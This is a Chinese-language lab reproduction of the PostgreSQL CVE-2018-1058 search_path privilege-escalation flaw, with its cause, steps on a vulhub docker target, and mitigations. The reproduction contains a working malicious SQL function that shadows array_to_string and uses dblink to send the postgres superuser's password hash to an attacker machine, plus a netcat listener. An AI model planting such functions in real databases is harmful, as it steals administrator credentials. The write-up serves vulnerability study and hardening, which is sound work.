#PostgreSQL 提权漏洞(CVE-2018-1058)#
一、漏洞简介
PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
二、漏洞影响
影响版本
9.3到10
三、产生原因
PostgreSQL7.3版本之后,默认情况下,当一个用户创建一个数据库时,PostgreSQL会创建一个叫做public的模式。默认情况下,所有的对象都会被创建到这个模式下。所以SELECT * FROM a; 就等价于 SELECT * FROM public.a;
如果不更改配置信息,任何用户都可以在public模式下创建对象。名字相同的对象可以在相同数据库的不同模式下存在。如果出现这种情况,而且没有指定特定的模式和对象(例如schema.object),那么PostgreSQL会基于search_path的设置来决定那个对象会被使用。
在该情况下,一个恶意用户可能会植入一个函数,它的功能是当被超级用户执行时,将更大的权限赋给这个恶意用户。
四、复现过程
docker 靶机:192.168.111.137
kali攻击机 :192.168.111.143
docker搭建靶场环境
docker-compose up -d
查看镜像是否启动成功
docker ps
用攻击机登录postgreSQL,账号vulhub,密码vulhub
psql --host 192.168.111.137 --username vulhub
执行下列语句后退出
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.111.143 port=8888 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
此时我们已经留下了"后门",然后在攻击机上监听8888端口
nc lvvp 8888
等待超级用户触发我们留下的"后门"即可,接下来在靶机上用超级用户的身份执行pg_dump命令,导出vulhub这个数据库的内容。
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
执行上述命令的同时,“后门”已被触发。
收到了postgres用户经md5加密后的密码
五、修复方案
1、不允许用户在public模式下创建新的对象。
可以用超级用户,在所有的数据库中运行下面这条命令:
REVOKE CREATE ON SCHEMA public FROM PUBLIC;
这会阻止所有的非超级用户在public模式下创建对象。
2、为数据库用户设置默认的search_path。
一个超级用户可以向系统中的每个用户发出这条命令,来将public模式从用户默认的search_path中移除:
ALTER ROLE username SET search_path = "$user";
3、在PostgreSQL的配置文件中设置默认的search_path。
也可以在postgresql.conf这个配置文件中将public模式从用户默认的search_path中移除。
六、参考链接
PostgreSQL 提权漏洞 CVE-2018-1058 漏洞复现
标签
PostgreSQL、CVE-2018-1058、提权